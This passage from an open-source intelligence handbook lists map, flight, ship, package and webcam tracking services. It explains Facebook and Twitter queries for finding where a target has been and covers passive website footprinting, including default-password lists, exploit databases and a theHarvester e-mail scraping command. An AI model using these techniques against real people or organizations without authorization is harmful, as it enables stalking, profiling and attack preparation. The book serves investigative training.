satellites and their coverage area. • Wigle (https://wigle.net): This shows a Wi-Fi network mapping around the globe. It shows the Wi-Fi network name along with the access point MAC (hardware) address, in addition to the possible locations where free Wi-Fi might be available. • BB Bike (https://mc.bbbike.org/mc): Here you can compare two maps. For example, you can compare the same location on maps from Bing and Google Maps to see the differences in the target location. • Newspaper Map (https://newspapermap.com): This lists all newspapers around the globe on a map; you can filter them according to location and newspaper language. • USGS (https://earthexplorer.usgs.gov): Here you can search a world map using different search criteria such as address, place name, or location coordinates. This map version is newer than Google Maps. • Google Street View (https://www.google.com/streetview): Here you can view a specific location (which must exist within the Google Street View database) as if you are there. • Google Maps Street View Player (www.brianfolts.com/driver): This shows a street view—where available—between two points on the map. • RouteView (http://routeview.org/): This is another Google map street viewer. • Street View Movie Maker (www.streetviewmovie.com): Here you can see the Google street view between two locations—where available— and download the movie to your PC for offline viewing. • Open Street Cam (http://openstreetcam.org/): Here you can view open street cameras in a specific location—where available. Chapter 7 Online Maps 290 • Zoom Earth (https://zoom.earth): Here you can view international cloud imagery—updated each day—from NASA satellites. • Hivemapper (https://hivemapper.com): This builds a smart 3D map from airborne video, uncovering changes humans can’t see. • Liveuamap (https://liveuamap.com): This is an open data media platform that shows the latest news, pictures, and videos from different conflict zones around the globe on a map. This service is important to gain intelligence from various media sources in conflict zones. • Terrapattern (www.terrapattern.com): This is a visual search tool for satellite imagery; it allows you to search a wide geographical area for specific visual effects. Currently, the search works in the following cities: New York, San Francisco, Pittsburgh, Berlin, Miami, and Austin. • dominoc925 (https://dominoc925-pages.appspot.com/mapplets/ cs_mgrs.html): Here you can view Military Grid Reference System (MGRS) coordinates. • Google Map Alert (https://followyourworld.appspot.com): You can receive an alert when new imagery is available in both Google Maps and Google Earth. You need to supply the latitude and longitude of a target location. • Mapillary (https://www.mapillary.com): Here you can view street-level imagery uploaded by people around the world. This service gives a 3D view of many places (its database currently has 259,200,042 images), which is useful to discover/investigate a specific location while you are not there. • Address Lookup (https://ctrlq.org/maps/address): Find the address of any place on Google Maps; just move the marker to the specific location on a map, and the relevant address will appear in the pop-up window (see Figure 7-2). Chapter 7 Online Maps 291 • Inspire Geoportal (http://inspire-geoportal.ec.europa.eu/ discovery): This site gives access to European spatial data. • Hiking and Biking Map (http://hikebikemap.org): This is a map for hiking and biking. • Viamichelin (https://www.viamichelin.com): This shows tourist, restaurants, hotels, traffic, and weather on a world map. • CORONA Project (http://corona.cast.uark.edu): This lists more than 800,000 images collected by the CORONA spy satellite launched by the United Sates and was in operation between 1960 and 1972. The pictures are high-resolution and cover different geographic area around the globe, especially in the countries that belonged to the socialist block during the Cold War. • Ani Maps (www.animaps.com): Here you can create maps with interactive animations. • Trip Geo (www.tripgeo.com/Directionsmap.aspx): Here you can create a direction map using Google Street View data. • GeoGig (http://geogig.org): This is an open source tool that imports raw geospatial data (currently from Shapefiles, PostGIS, or SpatiaLite) into a repository to track any changes to the data. Figure 7-2. Locating the address of any geographical point on Google Maps Chapter 7 Online Maps 292 • GRASS GIS (https://grass.osgeo.org): This is open source Geographic Information System (GIS) software used for managing and analyzing geospatial data, spatial modeling, and visualization. • Timescape (https://www.timescape.io): This is a map-based storytelling platform. • Polymaps (www.polymaps.org): This is a JavaScript library for making dynamic, interactive maps in modern web browsers; it supports different visual presentations to place on. • Mapquest (https://www.mapquest.com): This helps you to find places on a map (such as hotels, restaurants, coffee shops, grocery stores, pharmacies, airports, and more). You can also use this service to find the best route—the shortest one and the estimated time to arrive—when going from one place to another (see Figure 7-3). Figure 7-3. Finding the best routes between two locations Chapter 7 Online Maps 293 • NGA GEOINT (https://github.com/ngageoint): This is the National Geospatial-Intelligence Agency official repository of map-related tools on GitHub. • Free Map Tools (https://www.freemaptools.com/radius-around- point.htm): Here you can find the radius around a point on the map. • Maphub (https://maphub.net): Here you can create an interactive map by adding points, lines, polygons, or labels in addition to customized backgrounds. • Crowdmap (https://crowdmap.com): This is an annotation tool that allows you to visualize information on a map and timeline. • Maperitive (http://maperitive.net): This is Windows software for drawing maps based on OpenStreetMap and GPS data. • Perry-Castañeda Library Map Collection (https://legacy.lib. utexas.edu/maps/index.html): This lists online maps of current interests around the world in addition to different maps—including historical maps—of different locations around the world. • United Nations Geospatial Information Section (www.un.org/Depts/ Cartographic/english/htmain.htm): This lists different types of maps such as general maps for countries and the mapping mission of the United Nations. • Roundshot (www.roundshot.com/default.cfm?DomainID=1&TreeI D=172&language=en): Here you can view live cameras from selected regions around the world. Additional information is available for each selected location that includes physical coverage of camera on map, weather forecasts, and some historical data/pictures. • Live Earthquake Map (http://quakes.globalincidentmap.com): This site gives real-time information about earthquakes that have taken place around the world; it also covers important incidents happening around the globe such as Amber alerts, disease outbreak, gang activity, border security issues, nonterror aviation incidents, terrorism event predication, and more. • Universal Postal Union (www.upu.int/en/the-upu/member- countries.html): Here you can find postal codes for all countries. Chapter 7 Online Maps 294 Note! a database of location names with different spellings in different languages is available at www.geonames.org. to see a list of cities and towns around the world, go to www.fallingrain. com/world. Commercial Satellites There are many global providers of high-resolution satellite imagery that offer their services to government security agencies and civil companies to help them predict future threats and make decisions accordingly. The following are the most popular providers of high-resolution satellite imagery: • European Space Imaging (www.euspaceimaging.com): Provides -commercial- very high resolution imagery of earth using the following satellites: DigitalGlobe: WorldView-1, WorldView-2, WorldView-3, GeoEye-1, QuickBird and IKONOS (archive). • Digital Globe (https://www.digitalglobe.com/industries/ defense-and-intelligence): This is popular for providing high- resolution satellite images of conflicts around the world. Date/Time Around the World There are many free services that offer—in addition to the current date and time in any place around the globe—important statistics about a location, such as the current weather, GPS coordinates, important addresses, nearby airports, and famous places. The following are the popular services: • Wolframe Alpha (www.wolframalpha.com): Enter a specific city/town or any location, and the site will retrieve important information about it such as population, current local time, current weather, nearby cities, nearby airports, geographic properties, and more. • SunCalc (http://suncalc.net): This shows sun movement during the course of the day for any given location on the map. Chapter 7 Online Maps 295 • SunCalc (https://www.suncalc.org): This shows solar data for selected location in addition to other geographical information about this location. • Mooncalc (https://www.mooncalc.org): This shows lunar data for a selected location on Earth. Location-Based Social Media Major social media platforms allow their users to geotag some of their activities when using them. In this section, we will discuss how you can use the geolocation feature offered by major social media platforms to collect intelligence about a specific target or subject. YouTube To search for videos tagged with geocoordinates on YouTube, you can use a dedicated tool called Geo Search Tool (https://youtube.github.io/geo-search-tool/search. html). You can search for videos at a given address and in a given timeframe. You can also specify a distance from the location entered; hence, the search can be as broad as 1,000 KM or as narrow at 1 KM. The returned results can be filtered according to each video upload time. Final results appear graphically on a map as a red marker (see Figure 7-4). Chapter 7 Online Maps 296 Facebook Facebook is the number-one social networking site. It allows its users to geotag posts, photos, and videos, in addition to posting status updates with their current geolocation. We already covered how to search within Facebook thoroughly. In this section, we will focus on searching for locations within Facebook user-generated content. Using Facebook Graph in the Location Search We already covered how to find a specific user’s (or page/group’s) Facebook profile_id value. The following links will demonstrate how to use a Facebook Graph Search to fetch results based on geotagged content. Figure 7-4. Geolocation YouTube movies search Chapter 7 Online Maps 297 Note! replace the number 100003886582037 with your target’s Facebook profile iD in all the following queries. • To display the places visited by target profile, type the following in your browser address bar: https://www.facebook.com/ search/100003886582037/places-visited/. • To display the recent places that were “checked in” by the target profile, type the following in your browser address bar: https://www. facebook.com/search/100003886582037/places-checked-in/. • To display common places where two targets have “checked in” previously, type the following in your browser address bar: https://www.facebook.com/search/Facebook_Profile_ID_1/ places-checked-in/ Facebook_Profile_ID_2/places-checked-in/ intersect/. • To display common events where two targets have attended previously, type the following in your browser address bar: https://www.facebook.com/search/ Facebook_Profile_ID_1/ events/ Facebook_Profile_ID_2/events/intersect/. • To see a list of posts written in a specific location, type the following in the Facebook search bar: Posts written in Seattle, WA. Tip! Finding the intersections between two Facebook profiles can reveal the relationships between them and open the door for further investigation. Facebook Live Go to Facebook Live (https://www.facebook.com/live) to see where there are live videos currently broadcasting. Live videos appear on a global map; a user can click any live video—represented as a blue dot—to view/save it. Chapter 7 Online Maps 298 Twitter Twitter allows users to post tweets combined with current location data (see Figure 7- 5). Such tweets can help investigators to determine the current/previous locations of a target at a specific point in time. In this section, we will cover how to locate tweets based on their geolocation information. Search for Tweets in a Specific Geographical Location The Twitter search functionality allows you to search for tweets posted within a specific location using GPS coordinates. To locate all tweets posted from a specific location on Earth, follow these steps: 1. Open Google Maps, navigate to the target location, and click the exact point on the map to see its GPS coordinates (see Figure 7-6). Figure 7-5. Posting a tweet with location information Chapter 7 Online Maps 299 2. Go to the Twitter search box and type near: followed by the target’s latitude and longitude enclosed in quotation marks (see Figure 7-7). 3. You can add more advanced Twitter search operators to the previous search to further filter its results (see Figure 7-8). Figure 7-6. Extracting the GPS coordinates of the target on Google Maps Figure 7-7. Searching for all tweets that match the entered GPS coordinates Chapter 7 Online Maps 300 As shown in Figure 7-8, note that three filters are applied on the previous location search. • Within:3mil: This limits the results to three miles from the target GPS coordinates. • Filter:images: This returns tweets that contain images within it. • Since:2018-03-18: The tweet’s date must be from the date specified and later. To see the exact time when any tweet was posted, hover your mouse over its timestamp (see Figure 7-9). Please note that the date/time that appears is according to the time zone of your Twitter account settings, not the uploader’s date/time. Tweet Mapper Tweet Mapper (https://keitharm.me/projects/tweet) is a free service that lists all geotagged tweets (all tweets posted while the location feature is ON). All you need to do is to enter the target’s Twitter handle and then press Enter. A map will appear showing red markers (see Figure 7-10) over all the geographical locations where this target posts their geotagged tweets. Click any marker to see related tweets below the map. Figure 7-8. Adding advanced Twitter search filters to refine your search Figure 7-9. Finding a tweet’s date/time Chapter 7 Online Maps 301 One Million Tweet Map View the world’s last one million tweets on a map at https://onemilliontweetmap.com. This is an interesting map to see live tweets from around the globe in real time. Different filters can be applied to refine the results. Qtr Tweets Qtr Tweets (http://qtrtweets.com/twitter) allows you to find all tweets within a specific distance from the target location on map. You can also search for keywords and filter the results according to predefined criteria such as tweets with images and tweets with nonlocation data. Tweet Map Tweet Map (https://www.mapd.com/demos/tweetmap) allows you to visualize all tweets on a global map. Click the points—which represent tweets—to read tweet content. You can also see top hashtags and tweets and search for them. Periscope Map Periscope Map (www.periscopemap.live) shows Twitter Periscope live videos on a world map. Figure 7-10. Showing a tweets map for the user Apress Chapter 7 Online Maps 302 Other Social Media Platforms There are hundreds of social media services, and many of them allow users to geotag published contents, but in this chapter we focused on the most popular two: Facebook and Twitter. To enrich your thinking about the wide possibilities of OSINT gathering offered by geo-enabled social media services, we will briefly cover an additional service that uses users’ geolocation data to offer functions. This service is called Strava, and it is used mainly as a social networking app for athletes to measure and share their activities. Strava Heat Map A Strava heat map (https://www.strava.com/heatmap) is a performance measurement sporting app for athletes; it works by monitoring athletic activities through the GPS sensor existing within their smartphone (supports Apple and Android) or any other supported device like GPS watches and head units and uploading such data to its servers to make it available for sharing. This is a free app, but it reserves some premium features for paying users (e.g., showing advanced statistics about user activities). The most popular usage of this app is tracking users’ activities while cycling and running. A Strava heat map shows “heat” made by aggregated, public activities over the last two years; this map is updated monthly. At the beginning of 2018, Strava revealed several military base locations in Syria and Afghanistan because the military personals inside these—secret—bases were using this app to measure and track their fitness exercises. Base locations appeared clearly as the soldiers were moving around inside the base, drawing a clear border of each base. What happened with Strava shows clearly that despite all security measures, the lack of user security training can lead to revealing military secrets that are available for intelligence gathering. Chapter 7 Online Maps 303 Note! investigating a strava heat map can reveal important information about users’ sporting activities and the run routes they use. You can view photos uploaded to Flickr on a map by going to https://www. flickr.com/map. snapchat also has a live map to see snaps of events, breaking news, and more from around the world at https://map.snapchat.com. Conducting Location Searches on Social Media Using Automated Tools There are many tools that can prove useful when searching for data (both geotagged and nongeotagged) online. In this section, we will briefly mention some popular OSINT gathering tools for gathering different kinds of public information, including geolocation content, from both Internet and social media platforms. • Creepy (https://www.geocreepy.com): This is a geolocation OSINT tool to gather geolocation information from Twitter, Instagram, Google+, and Flickr. • Oryon OSINT Browser (https://sourceforge.net/projects/oryon- osint- browser): This contains scores of OSINT links to different services for public information discovery; it also comes equipped with privacy-enhanced features to protect your identity while conducting your OSINT search. • Maltego (https://spreadsecurity.github.io/2016/09/03/open- source- intelligence-with-maltego.html): This is a data mining tool with GUI used to gather open source intelligence; it visualizes the results and finds interconnection between them. • Spider Foot (www.spiderfoot.net): This is an automated OSINT tool that queries more than 100 open data sources to find information about the target. Chapter 7 Online Maps 304 Country Profile Information These websites offer brief overviews and statistics about different countries throughout the world. Such overviews include information about a country’s geography, history, politics, economy, international relations, culture, travel, military, health, education, and other topics. The following are the most popular suppliers of country profile information: • The World Factbook (https://www.cia.gov/library/publications/ the-world-factbook/index.html): This is a reference resource published by the Central Intelligence Agency (CIA); it provides information on the history, population, government, economy, energy, geography, communications, transportation, military, and transnational issues for 267 world entities. • BBC Country Profiles (http://news.bbc.co.uk/2/hi/country_ profiles/default.stm): This is a guide to the history, politics, and economic backgrounds of countries and territories, as well as background on key institutions. It also includes archived contents of the BBC service. Transport Tracking With the advancement of communication technology, most vehicles and public/ private transportation are location aware, meaning they come with a GPS or other satellite tracking system sensor to identify its current location. Tracking systems offer a comprehensive picture of the subject vehicle location in addition to other information about it such as vehicle name (if applicable), type, cargo, destination, owner, and many other technical details. Many free services online facilitate access to tracking information about land vehicles, ships, and airplanes; such information can prove extremely useful during any type of online investigation, especially when knowing that many sites also list previous tracking records of vehicles, ships, and vessels in its public databases. Chapter 7 Online Maps 305 Air Movements The following services track air flights (cargo, private, and traveler airplanes). Some sites even offer a payment subscription to track military jets! Here is the list: • Flight Aware (https://uk.flightaware.com): This company is considered the largest flight-tracking data company in the world; it offers its flight-tracking service free of charge for both private and commercial air traffic. FlightAware aggregates its data sources from air control systems in 55 countries in addition to ground stations in more than 150 countries. Using this service, you can search for flights by origin and destination airport or track a specific flight by using flight number or flight company. Private flights can also be tracked using this service. When tracking a specific flight, you can see the upcoming next flights and past flights. To see the entire flight history, you need to pay a subscription fee. • Flight Radar 24 (https://www.flightradar24.com; see Figure 7-11): This site offers an international real-time civilian flight-tracking service. It tracks more than 150,000 flights per day and has the ability to track specific types of military jets (like Russian and NATO jets) in some regions. Business subscribers can remove their private jets from public view, so it is essential to use more than one tracking service when investigating a specific target. Chapter 7 Online Maps 306 • Air Cargo Tracker (www.track-trace.com/aircargo): This tracks air cargo for 190 airlines; you need to supply the air cargo number to track the plane. The site also lists airline codes, airline prefixes, and airport codes. • Radar Box 24 (https://www.radarbox24.com/): This is an international airplane tracker. The free account shows basic flight information; you need to pay to unlock the full features. • PlaneFinder (https://planefinder.net): This offers international plane tracking. The free account shows good information about each flight. Figure 7-11. Flightradar24 offers comprehensive details about each flight, including departure and arrival airports, flight route, schedule, estimated departure and arrival time, current flight speed and distance, and airplane type and model. Other details are locked for paid subscriptions. Chapter 7 Online Maps 307 Note! the World aircrafts Database (www.planemapper.com/aircrafts) holds information about international airline companies along with the planes (plane type and technical information) registered to them. the same site contains detailed information about each airline company worldwide. Maritime Movements The following services track ship movements around the globe. • Marine Traffic (https://www.marinetraffic.com): This is the main marine-tracking site. Using this site, you can track any ship in the world. The site has a huge database of ship details and past tracking. To locate a ship, you can either search for its name using the site search facility or simply browse the live map to see all the available ships. To see specific ships details, click a ship on the map (ships appear as arrows on the live map). You can click the Vessel Details button (see Figure 7-12) to see complete information about this ship such as the name, MMSI number, IMO number, flag, weight, vessel type, dimensions, year built, latest position, vessel name history (if the ship changed its name, previous names and flags will appear here), and more. All this information is available with the free account (actually, I did not even register to view it). Paid accounts give more information, especially in relation to a customized map view, past tracking, and voyage history. Chapter 7 Online Maps 308 • Container Tracking (www.track-trace.com/container): This tracks containers for 125 companies; you need to supply the container number only. • Vessel Finder (https://www.vesselfinder.com): This is a ship- tracking service. • Cruise Mapper (www.cruisemapper.com): This tracks cruises and gives detailed information about each one, in addition to their current and past locations. • Ship Finder (http://shipfinder.co): This tracks ships and gives detailed information about tracking vessels. Figure 7-12. Tracking ships using Marine Traffic website Chapter 7 Online Maps 309 Note! the following are other services that can be useful when tracking vessel information online: • Container prefix list (www.prefixlist.com) • the international identification codes of container owners (https://www.bic- code.org/bic-codes/) • international port code (www.infodriveindia.com/TradeResources/ Port.aspx) Vehicles and Railway The following sites give tracking information about land vehicles and railways movements: • ASM (https://asm.transitdocs.com): This offers real-time train tracking across the United States. • Train Time (https://traintimes.org.uk/map/tube): This offers a live map of London underground trains. • Aprs (https://aprs.fi): This shows real-time information collected from the Automatic Position Reporting System Internet Network. • Spoorkaart (http://spoorkaart.mwnn.nl): This is a train tracker for the Netherlands. • Junatkartalla (https://junatkartalla.vr.fi/?lang=en-US Track): This tracks trains in real time across Finland. • Travic : transit visualization client (http://tracker.geops.ch/?z=11 &s=1&x=529282.4572&y=6853173.3731&l=transport): This offers live tracking of public transport (bus, trams, trains) in the Netherlands. • GotoBus (https://www.gotobus.com/track-bus-status): This is a bus-tracking system that tracks buses in selected regions around the globe for the bus companies that are engaged in this service (United States, Mexico, Europe, and Canada). Chapter 7 Online Maps 310 • Germany Train Route Maps (www.apps-bahn.de/bin/livemap/ query-livemap.exe/dn?L=vs_livefahrplan&livemap): This offers route maps for Germany. Note! to see a comparison of traffic signs in different countries, go to https:// ipfs.io/ipfs/QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco/ wiki/Comparison_of_MUTCD-influenced_traffic_signs.html. such information can be useful when investigating some images that contain traffic signs. this can help to determine the country of origin—and maybe the location— of the subject image. Package Tracking Package tracking is useful to track shipments across the entire world. If your OSINT work requires investigating a package sent via land or air, you can use the following links to find more information about it: • After Ship (https://www.aftership.com/couriers Track 447): This tracks couriers worldwide. Just enter the package number, and it will automatically detect the courier company. • Tracking EX (https://www.trackingex.com): This tracks 235 couriers. • 17 Track (https://www.17track.net/en): This is a package-tracking service. • Package trackr (https://www.packagetrackr.com): This tracks global couriers and visualizes the delivery path with Google Maps. • Boxoh (www.boxoh.com): This is a package-tracking service for USPS, UPS, FedEx, and DHL/AirBorne. • Canada Post (https://www.canadapost.ca/cpotools/apps/track/ personal/findByTrackNumber?execution=e1s1): This tracks packages in Canada. • Royal Mail (https://www.royalmail.com/track-your-item#): This tracks royal mail delivery. Chapter 7 Online Maps 311 Note! track on the Map (www.trackonthemap.com) lets people follow your location online. You need a Gps-aware device—like a smartphone—for this to work. Webcams There are many sites offering free access to public webcams around the world. The following are the most popular ones: • World Web Cam Search (http://world-webcams.nsspot.net): This displays available webcams from around the world using Google Maps. • Earth Cam (https://www.earthcam.com): This is a live streaming webcam from different places around the globe. • Fisgonia (www.fisgonia.com): This is a visual representation of a webcam—using Google Maps—from different locations around the globe. You can filter the cameras according to different categories such as airports, train stations, animals, traffic, universities, and so on, and you can specify the country using Google Maps. • World Cam (https://worldcam.eu): This lists webcams in different places globally and offers information about the location such as their location on maps and weather information about the target area. • UM Weather (http://cirrus.sprl.umich.edu/wxnet/wxcam.php): This lists hundreds of weather cameras across North America. • Opentopia (www.opentopia.com/hiddencam.php): This lists publicly accessible webcams from different places around the world. • Mila (https://www.livefromiceland.is/webcams/geysir): This is a live webcam from Iceland. Chapter 7 Online Maps 312 As we mentioned in Chapter 4, Google can also be used to locate publicly accessible webcams online. The best place to make such a search is the Google Hacking Database (GHDB) at https://www.exploit-db.com/google-hacking-database13/. Digital File Metadata We already covered in Chapter 2 how to investigate the metadata of digital files (such as images, videos, Microsoft Office files, and PDF). Some digital files—especially geotagged images and videos—can contain GPS coordinates. Investigating such files is easy; all you need to do is copy the GPS coordinates and use the services in this chapter to locate the address on a map of the subject photo or video. Summary Most user online activities can be associated with geolocation information. Locating information online through location-based searches can narrow down the results returned and make your investigation more focused. In the next chapter, we will talk about something different from everything already mentioned. You will learn how to use different tools and techniques to gather intelligence—mostly technical information—about target IT infrastructure and websites. Chapter 7 Online Maps 313 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_8 CHAPTER 8 Technical Footprinting Footprinting is the first task that hackers—both black and white hats—do before initiating their attacks against computerized systems. It is the act of using different tools and techniques to acquire as much information as they can before attacking the target. In the previous chapters, we covered how to use a wide array of tools and techniques to collect data online about different entities (such as people and organizations). However, we did not cover how to investigate a target’s own web pages and network to acquire technical information. In Chapter 1, we defined OSINT as referring to all information that is publicly available. This means OSINT sources are distinguished from other forms of intelligence in being legally accessible by the public without breaching any privacy or copyright laws. This legal definition also applies to technical footprinting when identifying a target’s IT technologies, services, and networks. In Chapter 1, we differentiated between three types of information gathering: passive, semipassive, and active. In this chapter, we are concentrating on the passive reconnaissance techniques only, as the other two methods may have a legal implication if applied without proper permission. Thus, you cannot consider them as belonging to the OSINT-gathering scope. In passive reconnaissance, the target will know nothing about your information- gathering activities. You will not send any packets of data to target servers. Instead, you will browse the target website like any regular Internet visitor to look for interesting information. The amount of information gathered in this way is limited to what is presented on the target website. In semipassive reconnaissance, you are sending limited traffic to the target server. However, this traffic will not launch any alarm by the security systems implemented by the target organization’s network (firewall and IDS) because this traffic will resemble any regular Internet traffic behavior. 314 Both passive reconnaissance and semipassive reconnaissance are allowed by law in major countries (without obtaining a permit), although some countries may also consider some sorts of semipassive activities as a kind of illegal footprinting. Note! Active reconnaissance involves interacting directly with the target system; you can achieve this in various ways. For example, you can use social engineering techniques to acquire information from a target’s help desk. By doing passive reconnaissance, you can gather some useful technical information such as identifying the target organization’s IP addresses, extracting domain name information, identifying its subdomain names, and identifying the IT devices and technologies in use. In addition, you can collect traditional types of information (for example, employee names and e-mails and document metadata) from the target website that can be used to profile target employees. Investigate the Target Website The first place you need to go when beginning your technical footprinting is the targeted company’s web pages. Investigating a company’s website will give you excessive amounts of useful information from a security perspective. The following are just some examples: • Company address • Branch office locations • Key employees • Open vacancies and job offers (job offers may reveal technologies used in the company) • E-mail schema (by looking at staff e-mail addresses) • Phone numbers • Partner companies—or any company with a close business relationship • Open hours and holidays ChApter 8 teChniCAl Footprinting 315 • News about target organization (merger or acquisition news) • Technology used in building the target website • E-mail system used (many organizations use open source technology like Horde and Roundcube) • IT technologies (hardware and software) used by target organization • VPN provider (if any) • Digital files (such as PDF files and spreadsheets) and metadata (some organizations even post their inventory list, including IT equipment, on their websites) • Privacy or security policy that lists IT security controls (for example, such documents may contain a password creation policy) • Information about the organization’s employees Web pages are composed of HTML code, so it is advisable to begin there. You can view the HTML source to see whether the developers left any useful information in the HTML comments. You need also to check the head section of the HTML source code for attached documents such as CSS and JavaScript files. These files may also contain comments by their developers. Note! to view the htMl source code of any web page using Firefox, right-click the target page and select View page Source. You can find useful information within htMl comment tags that look like this: <!-- this is a comment -->. Many companies outsource their website design to foreign companies. Discovering this issue from the HTML source code will make the outsourced company part of your investigation endeavor. Note! Firefox has a built-in utility for aiding web developers. the Firefox Developer tools are a set of web development tools that can be used to analyze the htMl source code of web pages. to launch the tool, press Ctrl+Shift+i or simply go to the tools menu, select Web Developer, and then select Developer toolbar. ChApter 8 teChniCAl Footprinting 316 Investigate the Robots.txt File Web robots—also known as crawlers or spiders—are used by search engines to scan the Web automatically to discover new content. They are used by all search engines such as Google and Yahoo to index web contents. Web site owners use the robots.txt file in their website root directory to give instructions to web robots on what pages they want to include or exclude during the crawling process. When a robot reads Disallow: in the robots.txt file, it will ignore the file path after it. For intelligence purposes, checking this file will reveal what the website owner wants to hide from the public. To view the robots.txt file of any website, type in your browser address bar the target domain name followed by a forward slash and then robots.txt. See Figure 8-1 for a sample robots. txt file for the Apress.com domain name. Note! robotsDisallowed is a project on github (https://github.com/ danielmiessler/RobotsDisallowed) that harvests the “Disallow” directories from the robots.txt files of the world’s top websites (taken from an Alexa 100K global ranking). Figure 8-1. Sample robots.txt file showing what pages are allowed to be crawled by web robots ChApter 8 teChniCAl Footprinting 317 Mirror the Target Website Sometimes it is more convenient—when reviewing the HTML code—to download the entire target website for offline viewing/parsing, and there are automated tools for performing this task. The following are the most popular: • HTTrack (https://www.httrack.com): Here you can copy a website for offline view. • GNU Wget (www.gnu.org/software/wget): Here you can retrieve files using the HTTP, HTTPS, FTP, and FTPS Internet protocols. • BlackWidow (www.softbytelabs.com/en/BlackWidow): Here you can download a complete site or part of it. You can also download any kind of files including YouTube videos embedded within a site. Extract the Links A target website can be linked with other applications, web technologies, and related websites. Dumping its links will reveal such connections and give the URLs of other resources (such as CSS and JavaScript files) and domains connected with it. There are many online services to extract the URLs, images, scripts, iframes, and embeds of target websites. The following are the most popular (use more than one service as they do not return the same results): • Link Extractor (www.webtoolhub.com/tn561364-link-extractor. aspx): You can export the results to an Excel file. • Free URL Extractor (www.bulkdachecker.com/url-extractor): Extract Links from URL/Domain (e.g. Links, images, scripts and Embeds). • Link Gopher (https://sites.google.com/site/linkgopher): This is a Firefox add-on that extracts all the links from web pages, including embedded ones, and displays them in a new web page. Note! to see where a target website Url redirects to, use the following service: http://redirectdetective.com. ChApter 8 teChniCAl Footprinting 318 Check the Target Website’s Backlinks You should also consider checking all backlinks to a target organization’s domain, as some linked websites may reveal useful information about the target. To see all linked websites to a specific domain name, type the following into Google: site:* darknessgate. com (there should be a space between the asterisk and the domain name). This will return all sites that link to www.DarknessGate.com. To refine the search and return only the results from other domain names, exclude all links to the target domain from itself (see Figure 8-2). Monitor Website Updates You should monitor web updates of the target website regularly. Of course, it is not convenient to monitor a website with hundreds of pages, so there are tools to automate this task. A popular tool for this is WebSite-Watcher (http://aignes.com/index.htm), which is a commercial program. This software will monitor web pages, forums, and RSS feeds for new postings and replies (even the password-protected pages) and report the changes. Check the Website’s Archived Contents OSINT investigators should remember that the Web is always changing. Organizations update their websites regularly, and past versions of the target website may leak important information. Therefore, make sure to take a look at the previous versions of the target website using the Wayback Machine (www.archive.org). Note! to discover who is hosting any website, go to https://www. whoishostingthis.com. Figure 8-2. Finding backlinks to a specific domain name using Google advanced operators ChApter 8 teChniCAl Footprinting 319 Identify the Technologies Used There are different ways to discover the type of technology used in a target organization. For instance, job postings offered on the target organization’s site—and on other specialized job websites—are a valuable source of information (you can find the type of skills needed, required IT certifications, past experience with specific products/ vendors), and from that you can easily identify the type of IT infrastructure, the OS, and other software used. Tip! if a target organization has more than one branch office, the type of skills needed—as listed in job posts—for a specific branch could be an indicator of the activities taking place in that branch. To identify the technologies used to build a target website, there are many online services and tools available for this task. The most popular service is Built With (https://builtwith.com). To use this service, enter the target domain name to view its technology profile and relationship profile. The technology profile will show detailed information about target websites such as analytics and tracking codes, widgets, website languages, whether it is optimized for mobile views, content delivery network (CDN), JavaScript libraries, advertising networks, e-mail services, name server provider, SSL certificate, web server type, encoding, and document information. A relationship profile view offers important information about the target domain; it shows the historical usage of identifiers (such as Google AdSense identifiers) that are shared with other websites. By knowing this information, you can uncover which websites are also controlled by the same company/individual (see Figure 8-3). ChApter 8 teChniCAl Footprinting 320 Another tool to identify the web technologies used on target websites is Wappalyzer (https://www.wappalyzer.com). You can install it as an add-on to your Firefox or Chrome browser to investigate the technologies used on any website you visit. Identifying the key technologies used—both software and hardware—will help you do some focused research to identify any vulnerabilities in the target organization’s software, identify product-specific defects, and identify application-specific configuration problems. In the coming section, we will demonstrate how to identify a target OS server using an online tool. Note! to find domains sharing the same google Analytics iD, go to https://dnslytics.com/reverse-analytics. Figure 8-3. Investigating the relationship profile of Apress.com shows CrazyEgg’s tag usage and history (diagram generated by https://builtwith.com) ChApter 8 teChniCAl Footprinting 321 Note! A lot of it equipment (such as routers, managed switches, firewall solutions, servers, access controls, internet surveillance camera, and even software packages) comes preconfigured with a default username and password. if the it person who installs such devices forgets to update/remove the default credentials, such devices are vulnerable. the following sites list hundreds of it equipment’s default credentials: • CIRT (https://cirt.net/passwords) • Default Password (https://default-password.info) • Default Password Lookup (www.fortypoundhead.com/ tools_dpw.asp) • Router Passwords (http://routerpasswords.com) • Open Sez Me! (http://open- sez.me) • Hashes (https://hashes.org) to identify zero-day vulnerabilities of any software, remote services, or applications, including client-side exploits, check the following sites: • Exploit Database (https://www.exploit-db.com) • Packet Storm (https://packetstormsecurity.com) • Security Focus (www.securityfocus.com/bid) • National Vulnerability Database (https://nvd.nist.gov) • CVE Details (https://www.cvedetails.com) • CVE (http://cve.mitre.org) • 0day (http://0day.today) • Secunia Research (https://secuniaresearch. flexerasoftware.com/community/research) ChApter 8 teChniCAl Footprinting 322 Web Scraping Tools There are automated tools that can help you to collect various types of information from the target website easily. Such tools are known as web scraping tools or web data extraction tools. Imagine you want to collect e-mails from a big website (with thousands of pages). Doing this manually would be a daunting task, but when using automated tools, you can do it with a single click. theHarvester theHarvester (https://github.com/laramies/theHarvester) is a tool for gathering subdomain names, e-mail addresses, virtual hosts, open ports/banners, and employee names from different public sources such as Google, Bing, LinkedIn, Twitter, Yahoo, pgp, and more. The search conducted using this tool is passive, meaning that the target will not notice any reconnaissance activities from your side. theharvester comes preinstalled on Kali Linux. However, you can install it on any Linux-based OS by entering the following command in terminal: apt-get theharvester To collect the target organization’s e-mails, open the program and type the following: theharvester -d springer.com -b all -l 500 -f results.txt theharvester is used to execute the tool, and these are some options: • -d specifies the domain to search or the company name. • -b specifies a data source such as google, googleCSE, bing, bingapi, pgp, linkedin, google-profiles, jigsaw, twitter, googleplus, and all. • -l limits the number of results to work with. • f- saves the results into an HTML or XML file. In the previous script, we are asking the tool to pull results from all data sources and to limit the result to 500 results. Also, the generated results should be saved in a file named results.txt in the same working directory (see Figure 8-4). ChApter 8 teChniCAl Footprinting 323 Figure 8-4. Scraping e-mail addresses from the target domain name of Springer. com using theHarvester. The tool also resolves the target domain name into its IP address and discovers many virtual hosts related to the target domain name. ChApter 8 teChniCAl Footprinting 324 The previous example is the simplest usage of this tool; we were able to collect target e-mail addresses in addition to discovering many subdomain names of the target main domain. This search also discovers virtual hosts (meaning multiple websites hosted on the same server). After getting some target e-mail addresses, you can use the techniques in previous chapters 